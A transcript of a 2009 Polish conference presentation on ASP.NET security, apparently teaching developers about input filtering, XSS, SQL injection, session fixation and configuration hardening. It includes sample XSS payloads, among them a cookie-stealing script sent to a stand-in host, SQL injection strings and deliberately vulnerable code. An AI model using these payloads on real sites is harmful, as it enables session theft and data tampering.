Bezpieczeństwo usług w ASP.NET

Transkrypt

Bezpieczeństwo usług w
ASP.NET
Gerard Frankowski
Zespół Bezpieczeństwa PCSS
XVI Spotkanie Poznańskiej Grupy ASP.NET
Poznań, 26.02.2009
Agenda
• Kim jesteśmy i co robimy?
-
PCSS i Zespół Bezpieczeństwa
Centrum Innowacji Microsoft
• Bezpieczeństwo IT a aplikacje webowe
-
Odpowiedzialność za bezpieczeństwo
ZagroŜenia i podatności aplikacji WWW
• Bezpieczeństwo aplikacji w ASP.NET
-
Bezpieczna implementacja kodu aplikacji
Konfiguracja ASP.NET
• Podsumowanie, pytania, dyskusja
2
Cel prezentacji
• Podniesienie świadomości na temat zagroŜeń
związanych z niezabezpieczonymi aplikacjami
w ASP.NET i wskazanie metod ochrony
• Prezentacja jest przeznaczona dla:
-
Programistów aplikacji ASP.NET
-
Administratorów serwerów hostujących aplikacje ASP.NET
-
Specjalistów ds. zabezpieczeń (częściowo)
• Wiele przytoczonych zasad ma charakter ogólny
3
Kim jesteśmy i co robimy?
4
PCSS
•
•
•
•
Poznańskie Centrum
Superkomputerowo-Sieciowe
Operator sieci PIONIER oraz
POZMAN
Uczestnik projektów
naukowo-badawczych
Główne obszary
zainteresowań:
-
•
Gridy, sieci nowej generacji,
portale
Bezpieczeństwo sieci
i systemów
http://www.pcss.pl
5
Zespół Bezpieczeństwa PCSS
•
Zespół Bezpieczeństwa PCSS istnieje od 1996r.
-
•
Najciekawsze badania z ostatnich lat
-
•
Zabezpieczanie infrastruktury PCSS
Zadania bezpieczeństwa w projektach R&D
Szkolenia, transfer wiedzy
Badania własne
Usługi zewnętrzne
Bezpieczeństwo komunikatorów internetowych
Badania sieci bezprzewodowych na terenie Poznania
Raport nt. bezpieczeństwa bankowości elektronicznej
Bezpieczeństwo serwerów WWW (Apache, MS IIS)
Bezpieczeństwo sklepów internetowych
http://security.psnc.pl
6
Centrum Innowacji Microsoft
•
•
Centrum bezpieczeństwa
i usług outsourcingowych
Partnerzy
-
•
•
Microsoft Polska
Poznańskie Centrum
Superkomputerowo-Sieciowe
Politechnika Poznańska
Otwarcie: 1.06.2006 r.
http://mic.psnc.pl
7
Wybrane zadania MIC 2006-2009
•
Technologie
-
•
Bezpieczeństwo
-
•
Interoperacyjność
Wirtualizacja
Wysokowydajne obliczenia komputerowe (HPC)
Wykorzystanie technologii Silverlight
Bezpieczne telekonsultacje medyczne
Program szkoleń bezpieczeństwa
Badania bezpieczeństwa serwera MS IIS
Program audytów bezpieczeństwa dla samorządów i MŚP
Usługi
-
Bezpłatny hosting dla uczelni, kół naukowych, organizacji
non-profit oraz studentów
Hosting portali społecznościowych, np. itcore.pl
8
Bezpieczeństwo IT a aplikacje
webowe
9
Dlaczego bezpieczeństwo jest
problemem dla twórców usług?
Dobrze
Drogo
Niebezpiecznie
Bezpiecznie
Tanio
Źle
10
Kto odpowiada za bezpieczeństwo?
• Decydenci / projektanci
-
Pomysł – jaka usługa będzie oferowana?
Przetarg: koszt, uŜyteczność a bezpieczeństwo
• Programiści
-
Odpowiednia implementacja projektu
Ograniczani przez zakres projektu oraz czas
• Administratorzy
-
Konfigurują i udostępniają usługę, system operacyjny,
sieć, urządzenia dostępowe,...
Ograniczeni przez moŜliwości usług i systemów,
budŜet na bezpieczeństwo, ...
• UŜytkownicy
-
Bezpieczeństwo to nie problem uŜytkownika...
...ale musi on znać niezbędne dobre praktyki
11
Specyfika usług internetowych
• Większość usług ma za zadanie dotrzeć do
maksymalnie licznej grupy docelowej
-
Przeciętny uŜytkownik nie posiada wiedzy na
temat bezpieczeństwa IT
Usługi są często zorientowane na uŜyteczność,
a nie na bezpieczeństwo
• Charakter przetwarzanych danych
-
Dane uwierzytelniające, osobowe (adres, wiek,
hasła dostępowe, ...)
Historia działań (np. zakupów)
Numery kart kredytowych, płatności
elektroniczne
12
Ogólne zagroŜenia usług WWW
• Ataki na serwery sieciowe
-
Szpiegostwo przemysłowe
Szkodzenie konkurencji
• Ataki na serwery i komputery uŜytkowników
-
Przejmowanie maszyn
KradzieŜ mocy obliczeniowej
KradzieŜ danych osobowych i toŜsamości
Rozsyłanie spamu
SzantaŜ
Organizowanie botnetów – ataki DDoS itd.
13
Wybrane podatności aplikacji WWW
• Błędy w projekcie i kodzie
-
Błędy w projektowaniu funkcjonalności
Znaczenie filtrowania danych
•
•
•
-
Ataki XSS (Cross Site Scripting)
Ataki SQL Injection
Ataki Remote Code Execution
Sesje internetowe
• Błędy w konfiguracji serwerów
-
Ataki Information Disclosure
Konfiguracja ASP.NET
Konfiguracja serwerów: IIS, MS SQL Server, ...
• PowyŜsza lista absolutnie nie wyczerpuje tematu!
14
Podatności bezpieczeństwa
w kodzie źródłowym
15
Główna przyczyna problemów
• Nieodpowiednie filtrowanie danych (lub jego
brak) to bezpośrednia przyczyna większości
najpowaŜniejszych luk bezpieczeństwa
-
Przepełnienie bufora (języki C/C++)
Błędy ciągów formatujących (C/C++)
XSS (Cross Site Scripting)
SQL Injection
Remote Code Execution
• Nie moŜna ufać Ŝadnym danym wejściowym,
zwłaszcza pochodzącym od uŜytkownika
-
TakŜe: bazy danych, zmienne środowiskowe, ...
• ALL INPUT IS EVIL !!!
16
Jak sytuacja wygląda w praktyce?
Grafika: http://webappsec.org
17
Filtrowanie danych (1)
• Nie najlepsze pomysły
-
Brak filtrowania danych
Filtrowanie danych po stronie klienta
18
• Czarne listy (black lists)
-
Definiujemy wzorce odrzucanych danych
Zwykle wzorce pełnią rolę sygnatur ataków
Pozostałe dane są dopuszczane
Zaleta: często prostsza definicja
Wada: zbiór złośliwych danych zwykle trudno ściśle określić
• Białe listy (white lists)
-
Definiujemy wzorce danych dopuszczanych
Wszystkie dane niepasujące do wzorca odrzucamy
Zaleta: dobrze zdefiniowana lista nie przepuści złośliwego kodu
Wada: dla skomplikowanych pól (np. treść e-kartki z podzbiorem
znaczników HTML) łatwo popełnić błąd w definicji listy
19
• WyraŜenia regularne
-
Przy ich pomocy łatwo zaimplementować białe i czarne listy
Przykład: przesłanie polskiego kodu pocztowego w adresie
URL (metoda GET - parametr code)
<%
set code = request.querystring("code")
set re = new RegExp
re.Pattern="^[0-9]{2,2}-[0-9]{3,3}$"
if re.Test(code) then
' Prawidlowy kod - normalne wykonanie skryptu
else
' Bledny kod - instrukcje obslugi bledow
end if
%>
20
• Dodatkowe mechanizmy weryfikacji
-
Sprawdzanie typu i wartości
Enumeracja wartości (np. dni tygodnia, nazwy miesięcy)
21
Atak XSS - opis
• XSS: Cross Site Scripting
-
ZagroŜone są strony, na których wyświetlana treść częściowo
zaleŜy od uŜytkownika
•
•
•
komentarze, fora dyskusyjne
formularze internetowe, wyszukiwarki
strony pobierające parametry tekstowe metodą POST/GET
• Opis ataku
-
Napastnik wysyła do podatnej strony ciąg znaków będący
kodem np. JavaScript
•
-
Hej, to mój komentarz: <script>alert(document.cookie);</script>
Ciąg znaków staje się elementem strony WWW,
UŜytkownik-ofiara wyświetla zainfekowaną stronę
Przeglądarka uŜytkownika wykonuje kod agresora
22
Przygotowujemy atak XSS
• Najprostszy formularz w ASP
<html><body>
Hello,
<% response.write(" " & request.querystring("name")) %>
</body></html>
• http://localhost/test.asp?name=Word
XSS – najprostsze przykłady
•
http://localhost/test.asp?name=Word<script>aletrt(1)</script>
•
http://localhost/test.asp?name=Word<script>alert(document.cookie)</script>
XSS – ochrona aplikacji
• Przypadek: prosty formularz
<form name="formXSS" method="get" action="./user.asp">
The start year is 2003.<br>Enter the end year:
<input type="text" name="endyear"><br>
<input type="submit" value="Wyślij">
</form>
• Plik user.asp wykonuje długotrwałe obliczenia dla lat 2004
- endyear
Jak uchronić się przed atakiem DoS?
Naiwne filtrowanie danych u klienta
• Zabrońmy uŜytkownikowi wpisania dowolnej liczby!
The start year is 2003.<br>Enter the end
year:
<select name="endyear">
<option value='2004'>2004</option>
<option value='2007'
selected>2007</option>
</select>
• Jest to równowaŜne innym metodom sprawdzania
poprawności danych po stronie klienta (formatu,
zakresu danych itp.).
Ominięcie naiwnych zabezpieczeń
• Najprostszy sposób ominięcia ograniczeń
http://localhost/test/form.php?endyear=999999
• Wysyłanie formularza metodą POST jest bezpieczniejsze
<form name="formXSS" method="post"
action="http://localhost/test/user_post.asp">
The start year is 2003.<br>Enter the end year:
Ale wystarczy przechwycić Ŝądanie...
Ataki XSS - zagroŜenia (1)
• Utrudnianie Ŝycia uŜytkownikom
-
Wyskakujące okienka MessageBox
• KradzieŜ danych sesji uŜytkownika
-
Przesyłanie cookies na serwer kontrolowany przez napastnika
-
<script>document.location=”http://www.test.com.pl?a=”
+document.cookie</script>
• Nieautoryzowany dostęp do danych i operacji
-
<script>document.location=”./admin/delete.php?id=666"
;</script>
30
Ataki XSS - zagroŜenia (2)
• Ataki DoS na przeglądarkę
-
<MARQUEE><TABLE><MARQUEE HEIGHT=999999>
-
Więcej informacji: http://lcamtuf.coredump.cx/soft/mangleme.tgz
• Zaawansowane ataki XSS
-
Skanowanie portów TCP w sieci lokalnej ofiary
•
-
http://www.gnucitizen.org/projects/javascript-port-scanner
Podsłuchiwanie rozmów (ActiveX EasycallLite.ocx)
Odwołania do wybranych stron z przeglądarki ofiary
31
XSS – ochrona aplikacji (1)
• Weryfikacja danych po stronie serwera jest
niezbędna
Zwykle najlepszym sposobem jest podejście whitelist
- Najlepiej zastosować
-
•
•
wyraŜenia regularne dla sprawdzenia formatu
jeśli to zasadne – dodatkową weryfikację zakresu
Podejście blacklist jest mniej przydatne, choć lepsze niŜ
brak zabezpieczeń
-
• Oczywiście kontrola po stronie klienta teŜ jest przydatna
PomoŜe uŜytkownikowi (bardziej intuicyjny interfejs)
- Zablokuje „najgłupsze” ataki
-
• Chronimy nasz formularz
set year = request.querystring("endyear")
set re = new RegExp
re.Pattern="^[0-9]{4}$"
if re.Test(year) then
if year > 2003 and year < 2008 then
for i = 2004 to year
response.write("<br>I am making long computations for
year " & i)
next
else
response.write("<br>You have entered a bad year number")
end if
else
response.write("<br>You have not entered a year number")
end if
• Wbudowane mechanizmy ochrony
• Opcja dostępna od ASP.NET 1.0: ValidateRequest
więcej informacji: http://msdn2.microsoft.com/enus/library/ms972967.aspx
-
<%@ Page validateRequest=”true”...
• Od ASP.NET 1.1: HttpRequest.ValidateInput
Weryfikacja: zapytania, danych formularza oraz ciasteczek
- Nie moŜna wpływać na szczegóły działania
- Zgłasza wyjątek HttpRequestValidationException
- Więcej informacji: http://msdn2.microsoft.com/enus/library/system.web.httprequest.validateinput(VS.71).aspx
-
• Uwaga na HttpRequest.ValidateInput!
try
{
HttpRequest.ValidateInput();
//str = HttpRequest.Form.AllKeys[0];
}
catch(HttpRequestValidationException e)
{
// bez odkomentowania wyjatek HttpRequestValidationException
// nigdy nie zostanie zgloszony
}
• Funkcja sama w sobie nie powoduje przeprowadzenia
walidacji, ustawia jedynie flagi wymuszające walidację po
próbie dostępu do kolekcji QueryString, Form i Cookies
obiektu HttpRequest
-Więcej:
http://weblogs.asp.net/vga/archive/2003/05/02/6329.aspx
Atak SQL Injection
• SQL Injection – atak na bazę danych
-
ZagroŜone są strony budujące zapytania bazodanowe przy pomocy
parametrów uzyskanych od uŜytkownika
• Przebieg ataku
-
-
Napastnik przekazuje złośliwe parametry do zapytania
Sfałszowane zapytanie powoduje wyświetlenie na wynikowej
stronie WWW innych danych niŜ zakładano, ich większej ilości lub
informacji o strukturze bazy
W skrajnym przypadku zostaje wykonane polecenie języka obsługi
baz danych
Napastnik moŜe uzyskać dalsze informacje, pozwalające mu lepiej
ukierunkować atak
36
Atak SQL Injection - podatny kod
• Strona pobiera z formularza parametr nazwisko
set nazwisko = request.form("nazwisko")
set objConn = Server.CreateObject("ADODB.Connection")
objConn.Open <CONNECTION_STRING>
strSQL = "SELECT * FROM pensje WHERE Nazwisko ='"
strSQL = strSQL & nazwisko
strSQL = strSQL & "'"
set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, objConn
do while not objRS.EOF
response.write("<br>")
for each x in objRS.fields
response.write(" " & x.name & " = " & x.value & " ")
next
objRS.MoveNext
loop
objConn.Close
37
Atak SQL Injection - przykład
• Dostęp do danych
• Nazwisko: Baker’ or 1=1--
SQL Server 2005
SELECT * FROM pensje WHERE
Nazwisko = ‘Baker’ or 1=1--’
38
Atak SQL Injection - przykład 2
• Modyfikacja danych
-
SQL Server 2005
Nazwisko: ' insert into pensje
(Lp, Imie, Nazwisko, Pensja)
values (5, ‘Gerard’,
‘Frankowski', 10000)--
39
Atak SQL Injection - zagroŜenia
•
•
•
•
•
Nieautoryzowany dostęp do danych
Modyfikacja rekordów bazy danych
Dodanie lub usunięcie rekordów
Usunięcie bazy danych
Wykonywanie poleceń środowiska bazy danych
i potencjalnie poleceń systemowych
40
Atak SQL Injection - obrona
• Odpowiedzialny: programista
-
-
Filtrowanie danych wejściowych uŜytkownika pod kątem
obecności znaków specjalnych uŜywanej wersji języka
obsługi baz danych
Filtrowanie równieŜ danych odczytanych z bazy!
• Odpowiedzialny: administrator
-
Bezpieczna konfiguracja środowiska bazodanowego
•
•
-
Zasada minimalnych uprawnień
Odpowiednia polityka kontroli dostępu
Restrykcje dostępu na poziomie systemu operacyjnego
• Odpowiedzialność jest wspólna, a najlepsze
rezultaty przyniesie połączenie wysiłków
41
SQL Injection - przykład 2 ;)
Grafika: http://xkcd.com/327
42
Sesja internetowa
• Protokół HTTP jest bezstanowy
-
•
RozróŜnianie toŜsamości uŜytkowników jest kluczowe dla
korzystania z e-usług
Sesja internetowa
•
Identyfikowany przez session ID zbiór informacji o połączeniu
43
Ataki na sesje – przykład
• Warunki
-
Usługa umoŜliwia zdefiniowanie własnego session ID
• Przebieg ataku
-
Napastnik podsuwa ofierze link Jak oszukać skarbówkę? Kliknij tutaj!
•
Pod linkiem kryje się URL:
http://usluga.pl/<script>document.cookie=”sessionid=abcd”;</script>
-
Ofiara klika link, co powoduje nawiązanie sesji z usługą usluga.pl
identyfikatorem sesji abcd
-
Napastnik co jakiś czas próbuje nawiązać sesję z tym samym
identyfikatorem
-
Po udanej próbie napastnik przechwytuje sesję ofiary
44
z
Ataki na sesje – zagroŜenia
• Ujawnienie informacji o serwerze
-
Poszczególne serwery WWW obsługują sesje w róŜny sposób
• KradzieŜ sesji uŜytkownika
-
Podszycie się pod ofiarę
-
KradzieŜ toŜsamości ofiary...
-
... i jej konsekwencje: kradzieŜ danych, zawarcie fałszywej
umowy, kradzieŜ środków finansowych, uzyskanie danych
będących podstawą do szantaŜu, ...
-
JeŜeli powiodło się przejęcie sesji administratora serwisu,
moŜliwe jest wykonanie dowolnego działania w ramach portalu
45
Czy te zagroŜenia są realne?
• Styczeń 2008 - testy 50 sklepów internetowych
przeprowadzone przez Zespół Bezpieczeństwa PCSS
-
Test 1 – niedozwolone znaki w nazwie ciasteczka
Test 2 – próba wymuszenia błędu zapisu pliku sesji
Test 3 – odpowiedni czas Ŝycia ciasteczka
Test 4 – odpowiedni czas Ŝycia sesji
Test 5 – moŜliwość wymuszenia identyfikatora sesji
Test 6 – powiązanie identyfikatora sesji z adresem IP
Test 7 – stosowanie atrybutu httponly
• Więcej:
http://security.psnc.pl/reports/sklepy_internetowe_cookies.pdf
46
Rezultaty
Test 1
Test 2
Test 3
Test 4
Test 5
Test 6
Test 7
Kolor czerwony i
pochodne –
niebezpiecznie
Kolor zielony –
bezpiecznie
47
Jak moŜna przechowywać dane sesji?
• Przesyłanie metodą GET w adresie URL
-
Wyjątkowo podatne na ataki
• Wykorzystanie ukrytych pól formularzy
-
Podatne na ataki
Komplikuje budowę serwisu
• Ciasteczka (cookies)
-
Przechowywane na serwerze w bazie danych lub w plikach sesji
Przechowywane po stronie klienta za pośrednictwem
przeglądarki jako cookie
48
Zawartość ciasteczka
• Nazwa oraz skojarzona z nią wartość
-
Szczególnym z punktu widzenia bezpieczeństwa przypadkiem
są cookies zawierające informacje o sesji uŜytkownika
Informacje o sesji w ASP.NET
•
•
•
•
•
•
Identyfikator sesji jest 120-bitowym przypadkowym ciągiem
znaków, reprezentowanym przez 20-znakowy łańcuch
Nazwa ciasteczka brzmi ASP.NET_SessionId
Data wygaśnięcia
Domena (dokąd przeglądarka moŜe wysłać cookie)
ŚcieŜka (skąd ciasteczko jest widoczne na serwerze)
Atrybuty dodatkowe
49
Zwykłe ciasteczko w ASP.NET
<%
HttpCookie cookie = new HttpCookie(“licznik”);
cookie.Name
= “licznik”;
cookie.Value
= “yes”;
cookie.Expires
= #01/10/2008 11:00:00#;
cookie.Domain
= “www.example.com”;
cookie.Path
= “/licznik_dir”;
Response.Cookies.Add(cookie);
%>
50
ZagroŜenie atakiem Session Fixation
• Atak polega na nawiązaniu przez napastnika sesji
o określonym identyfikatorze
-
Skłonienie ofiary do nawiązania sesji o konkretnym ID
-
Brak uniewaŜniania wykorzystanych ID sesji
• Platforma Microsoft ASP nie zapewnia bezpośredniego
wsparcia dla powtórnej generacji ID sesji
-
Microsoft zamknął zgłoszenie uŜytkownika we wspomnianym
zakresie, uznając je za „nie do naprawienia”
(https://connect.microsoft.com/feedback/viewfeedback.aspx?Fe
edbackID=143361&wa=wsignin1.0&siteid=210)
-
Niestety, ASP nie pozwala ponadto na bezpośredni dostęp (zapis)
do cookie ASP.NET_SessionId
51
Session fixation - ochrona
• Porady Microsoftu dostępne pod adresem:
-
http://support.microsoft.com/kb/899918
• Podejście OWASP:
-
Generacja dodatkowego ciasteczka, któremu nadajemy wartość
toŜsamą z ID sesji (moŜemy ją odczytać)
-
Porównywanie zawartości dodatkowego ciasteczka z ID sesji
-
JeŜeli wartości są róŜne, uniewaŜniamy sesję
-
Więcej informacji + przykład
http://www.owasp.org/index.php/Session_Fixation_Protection
• Wykorzystanie uwierzytelniania Windows Forms
zmniejsza zagroŜenie dzięki uŜyciu dodatkowego tokena
52
Czas waŜności ciasteczka
• Im dłuŜszy czas waŜności, tym łatwiejsze jest przejęcie
sesji o wykradzionym identyfikatorz (Session Hijacking)
• Czas waŜności sesji zaleŜy od tego, jak „cenna” jest
aplikacja
-
Bankowość internetowa - rzędu kilku(nastu) minut
Serwis społecznościowy, bramka SMS - np. godzina
Standard OWASP: 5 minut!
Dim myCookie As New HttpCookie(“testCookie”)
Dim expDate As DateTime
expDate = DateTime.Now.AddMinutes(5)
myCookie.Expires = expDate
Response.Cookies.Add(myCookie)
53
Właściwości obiektu HttpCookie (1)
• Właściwość HttpOnly
-
Określa, czy cookie moŜe zostać odczytane poprzez aktywną
zawartość witryny
-
Pozwala uchronić się przed atakami XSS wykonywanymi przy
pomocy wstrzyknięcia kodu typu
<script>...document.cookie<script>
• Właściwość Secure
-
Definiuje poziom bezpieczeństwa ciasteczka (jest flagą)
Jeśli ustawiona, umoŜliwia obsługę cookie tylko za
pośrednictwem protokołu HTTPS
54
Właściwości obiektu HttpCookie (2)
• Definicja bezpieczniejszego ciasteczka
Dim myCookie As New HttpCookie(“testCookie”)
myCookie.HttpOnly = true
myCookie.Secure = true
Response.Cookies.Add(cookie)
55
Powiązanie ID sesji z adresem IP
• Przesłanie ciasteczka o danym ID spod innego adresu,
niŜ zapisany po stronie serwera powoduje
uniewaŜnienie sesji
• Zaleta: poprawa bezpieczeństwa
-
Zabezpieczenie przed kradzieŜą sesji
• Wady:
-
Utrudnienie korzystania z usług uŜytkownikom bez stałego
adresu IP
• Realny przykład byłby dość skomplikowany ;) zachęcam
do testów własnych
56
Bezpieczne sesje - podsumowanie
• Odpowiedzialność po stronie administratora
-
Odpowiednia konfiguracja serwera WWW / .NET
•
Unikanie wyświetlania szczegółowych informacji o błędach
uŜytkownikowi
• Odpowiedzialność po stronie
projektanta/programisty
-
Bezpieczna konfiguracja sesji
• Najlepsze wyniki przyniesie
połączenie obu podejść
57
Błędy w konfiguracji ASP.NET
58
Pliki konfiguracyjne ASP.NET
• Specyfika plików konfiguracyjnych ASP.NET
-
Pliki tekstowe w formacie XML
Brak dedykowanego narzędzia producenta wspierającego edycję
• Pliki konfiguracyjne dla komputera
-
machine.config
(%SystemRoot%\Microsoft.NET\Framework\%wersja%\CONFIG\)
• Pliki konfiguracyjne dla aplikacji
-
web.config (w katalogu głównym i/lub podkatalogach)
• Pliki konfiguracji zabezpieczeń Code Access Security
-
Enterprise Policy: enterprisesec.config
Machine and User Policy: security.config
ASP.NET Policy: web_hightrust.config, web_mediumtrust.config59
,
web_lowtrust.config, web_minimaltrust.config
Top 10 don’ts in ASP.NET
configuration files (1)
• PoniŜsze błędne praktyki dotyczyć mogą wszystkich
aplikacji webowych opartych na ASP.NET
-
Custom Errors Disabled
Leaving Tracing Enabled
-
Leaving Debugging Enabled
Cookies Accessible Through Client-Side Script
-
Cookieless Session State Enabled
-
• Więcej informacji:
-
http://www.devx.com/dotnet/Article/32493
60
Custom Errors Disabled
• Nieprawidłowa konfiguracja
<configuration>
<system.Web>
<customErrors mode="Off">
• Prawidłowa konfiguracja
<configuration>
<system.Web>
<customErrors mode="RemoteOnly">
• Znaczenie:
-
Wyłączenie trybu customErrors spowoduje, Ŝe zdalny uŜytkownik
ujrzy szczegółowy opis błędu, takŜe z fragmentami kodu
Dla lokalnych Ŝądań warto pozostawić tryb debugowy
61
Nieprawidłowa konfiguracja
62
Prawidłowa konfiguracja
63
Prawidłowa konfiguracja (2)
• To jeszcze nie jest sytuacja idealna
-
Właściwe będzie przygotowanie własnych plików
niezawierających informacji konfiguracyjnych, a np.
przekazujących kontakt do administratora systemu lub
helpdesku
-
Odpowiednia sekcja pliku machine.config:
<customErrors mode="RemoteOnly">
<error statusCode="404" redirect="errors/e404.htm">
<error statusCode=”500" redirect="errors/e500.htm">
</customErrors>
64
Leaving Tracing Enabled
<configuration>
<system.Web>
<trace enabled="true" localOnly="false">
<configuration>
<system.Web>
<trace enabled="false" localOnly="true">
• Znaczenie:
-
Włączenie flagi powoduje, Ŝe zdalny uŜytkownik moŜe uzyskać
dostęp do duŜej ilości wraŜliwych danych, np. struktury
poprzednich Ŝądań do serwera, szczegółów jego konfiguracji,
danych przesłanych w formularzach...
65
Tajemniczy
plik
trace.axd ;)
66
Leaving Debugging Enabled
<configuration>
<system.Web>
<compilation debug="true">
<configuration>
<system.Web>
<compilation debug="false">
• Znaczenie:
-
Pozostawienie włączonej flagi debug umoŜliwia ujawnienie
większej ilości informacji napastnikowi
Nawet prawidłowe ustawienie customErrors nie wystarczy,
poniewaŜ niektóre narzędzia deweloperskie mogą ujawnić treść
komunikatów błędów
67
Cookies Accessible Through Client-Side
Script
<configuration>
<system.Web>
<httpCookies httpOnlyCookies="false">
<configuration>
<system.Web>
<httpCookies httpOnlyCookies="true">
• Znaczenie:
-
Ustawienie true spowoduje, Ŝe aktywna zawartość strony nie
będzie mieć dostępu do cookies
Czy nam to czegoś nie przypomina?
68
Cookieless Session State Enabled
<configuration>
<system.Web>
<sessionState cookieless="UseUri">
<configuration>
<system.Web>
<sessionState cookieless="UseCookies">
• Znaczenie:
-
Wartość UseCookies wymusza przechowywanie danych sesji przy
pomocy mechanizmu ciasteczek, a nie przekazywanie ich przez
adres URL
69
Top 10 don’ts in ASP.NET
configuration files (2)
• PoniŜsze błędne praktyki dotyczą aplikacji webowych
opartych na ASP.NET, w których wykorzystuje się
uwierzytelnianie Windows Forms
-
Cookieless Authentication Enabled
Failure to Require SSL for Authentication Cookies
-
Sliding Expiration Used
Non-Unique Authentication Cookie Used
-
Hardcoded Credentials Used
-
• Więcej informacji:
-
70
Poziomy zaufania CAS
• Aplikacji moŜna przypisać 1 z 5 poziomów zaufania
-
Full
High
-
Medium
Low
-
Minimal
-
• MoŜliwe jest takŜe przygotowanie własnej definicji
poziomu zaufania
• Szczególnie w przypadku oferowania hostingu dla
podmiotów zewnętrznych poziom Full NIE JEST
dobrym pomysłem!
71
High
No unmanaged code
No enterprise services
Can access SQL Server and other OLE DB data sources
CAS
Very limited reflection permissions
No ability to invoke code by using reflection
A broad set of other framework features are available
Medium
Applications have full access to the file system, and to sockets
Permissions are limited to what the application can access within the directory
structure of the application
No file access is permitted outside of the application's virtual directory hierarchy
Can access SQL Server
Can send e-mail by using SMTP servers
Limited rights to certain common environment variables
No reflection permissions whatsoever
No sockets permission
To access Web resources, you must explicitly add endpoint "URLs" — either in the
Low
Minimal
originUrl attribute of the <trust> element or inside the policy file
Intended to model the concept of a read-only application with no network
connectivity
Read only access for file I/O within the application's virtual directory structure
Execute only
No ability to change the "IPrincipal" on a thread or on the "HttpContext".
72
Błędna konfiguracja
• Plik web.config
<location allowOverride="true">
<system.web>
<securityPolicy>
<trustLevel name="Full" policyFile="internal"/>
<trustLevel name="High" policyFile="web_hightrust.config"/>
<trustLevel name="Medium"
policyFile="web_mediumtrust.config"/>
<trustLevel name="Low" policyFile="web_lowtrust.config"/>
<trustLevel name="Minimal"
policyFile="web_minimaltrust.config"/>
</securityPolicy>
<trust level="Full" originUrl=""/>
</system.web>
</location>
73
Jak sprawdzić jej skutki?
•
•
Narzędzia
– Dinis Cruz, OWASP
zę
-
http://www.owasp.org
-
ANSA – Asp.Net Security Analyser – V0_31b
-
ANBS – Asp.Net Baseline Security – v. 0.55
Pobrane narzędzia wgrywamy do głównego
katalogu
łó
aplikacji WWW i uruchamiamy
-
http://<web_app>/ANSA_V0_31b/default.aspx
-
http://<web_app>/ANBS_V0_55/ANBSFiles/default.asp
74
75
76
Problemy
• Zbyt wysoki poziom zaufania
-
Jak go obniŜyć?
Jak zapewnić, Ŝe uŜytkownik pojedynczej aplikacji go nie
zmieni?
Czy moŜna zróŜnicować poziom zaufania między
aplikacjami?
• Konfiguracja systemu - moŜliwość wykonania
poleceń systemowych:
-
Za pośrednictwem WSCRIPT.SHELL
Przy pomocy interfejsu WMI
Dzięki wywołaniom WinExec API
• Ponownie widać, jak istotne jest współgranie
róŜnych elementów zabezpieczeń!
77
ObniŜamy poziom zaufania (1)
• Średni poziom zaufania dla wszystkich aplikacji na
konkretnym serwerze
<location allowOverride="false">
<system.web>
<securityPolicy>
...
</securityPolicy>
<trust level="Medium" originUrl="" />
</system.web>
</location>
78
ObniŜamy poziom zaufania (2)
• ZróŜnicowanie poziomu zaufania w pliku machine.config
<location path="app1.pl" allowOverride="false">
<system.web>
<trust level="Medium" originUrl="" />
</system.web>
</location>
<location path="myadminapp" allowOverride="false">
<system.web>
<trust level=”High" originUrl="" />
</system.web>
</location>
79
Konfigurujemy system
• Mimo dostosowania ustawień ASP.NET najlepiej
będzie nie pominąć dodatkowego utwardzenia
systemu
-
-
-
Zablokowanie dostępu do obsługi Windows Management
Instrumentation dla wszystkich uŜytkowników poza
administratorem systemu przy wykorzystaniu aplikacji
Zarządzanie Komputerem
Zablokowanie moŜliwości tworzenia obiektów Windows
Script Host innym uŜytkownikom niŜ administrator
systemu
Aplikacje webowe nigdy nie powinny korzystać z konta
posiadającego uprawnienia SYSTEM
• To przykład podejścia Defence-in-depth
80
Bezpieczna konfiguracja podsumowanie
• Ograniczenie poziomu zaufania aplikacji webowych
• ZastrzeŜenie dostępu do informacji wewnętrznych (np.
szczegółowych komunikatów o błędach)
• Odpowiednie uŜycie
• Konfiguracja serwera WWW
-
Tworzenie pul aplikacji i limitów dla pul
• Konfiguracja systemu operacyjnego
-
Zasada minimalnych przywilejów (korzystamy z konta ASPNET,
nie z konta systemowego!)
ZastrzeŜenie dostępu do interfejsów umoŜliwiających
81
wywoływanie poleceń systemowych
Podsumowanie
82
Bezpieczeństwo usługi
• Nie ma idealnego remedium
• Bezpieczna usługa musi być:
-
Odpowiednio zaprojektowana
Dobrze napisana
NaleŜycie skonfigurowana
Zainstalowana na skutecznie chronionym serwerze
Obsługiwana przez rozsądnego uŜytkownika
Regularnie audytowana
• Wszystkie powyŜsze elementy tworzą spójną
całość, największe problemy to:
-
Dostarczenie wiedzy dla wszystkich
zainteresowanych stron
Ułatwienie działań sobie, ale i innym
• Defence-in-depth
83
Co warto zapamiętać?
• Usługi internetowe są naraŜone na szereg ataków
-
Szczególnie zagroŜone są usługi związane z przepływem
danych osobowych i środków finansowych (np. e-sklepy,
portale społecznościowe)
• Główną rolę w zabezpieczaniu e-usług odgrywają ich
twórcy oraz administratorzy systemów
-
NajpowaŜniejszym i najczęściej występującym błędem na
poziomie kodu źródłowego jest nieodpowiednie filtrowanie
danych lub jego brak
• Odpowiednie zabezpieczenie usług to kwestia
kluczowa i złoŜona, ale nie do uniknięcia
• ”Knowing how to live with insecurity is the only
security” – J. Allen Paulos
84
Więcej informacji (przykłady)
• Cykl artykułów na portalu Startup-it.pl, rozszerzający
tematykę dzisiejszej prezentacji (takŜe o kod PHP)
• Raport Zespołu Bezpieczeństwa PCSS nt.
bezpieczeństwa e-sklepów (np. sesje internetowe)
-
http://security.psnc.pl/reports/sklepy_internetowe_cookies.pdf
• Szkolenia MIC
-
http://mic.psnc.pl/pl/events/ev_181207.html (bezpieczny kod)
• TOP 10 Don’ts in ASP.NET configuration files
-
• The Open Web Application Security Project (m.in.
narzędzie ANSA)
-
http://www.owasp.org
85
Ciekawe pozycje ksiąŜkowe
• Tworzenie bezpiecznych aplikacji
Microsoft ASP.NET
• Udoskonalanie zabezpieczeń aplikacji i
serwerów internetowych
• Bezpieczny kod - tworzenie
i zastosowanie
• Więcej ksiąŜek:
-
http://www.microsoft.com/poland/security/books/d
efault.mspx (PL)
http://www.microsoft.com/learning/books/security/
default.asp (EN)
86
Zapraszamy (1):
• Startup-IT
-
Warsztaty „Tworzenie serwisów
internetowych (27.02 - rejestracja zamknięta :(
i 13.03.2009)
•
•
•
•
-
Artykuły ekspertów
•
-
„PHP czy .NET? A moŜe coś innego?”
„Zabezpieczenia serwisów internetowych i ich łamanie”
„Zabezpieczenia serwerów internetowych”
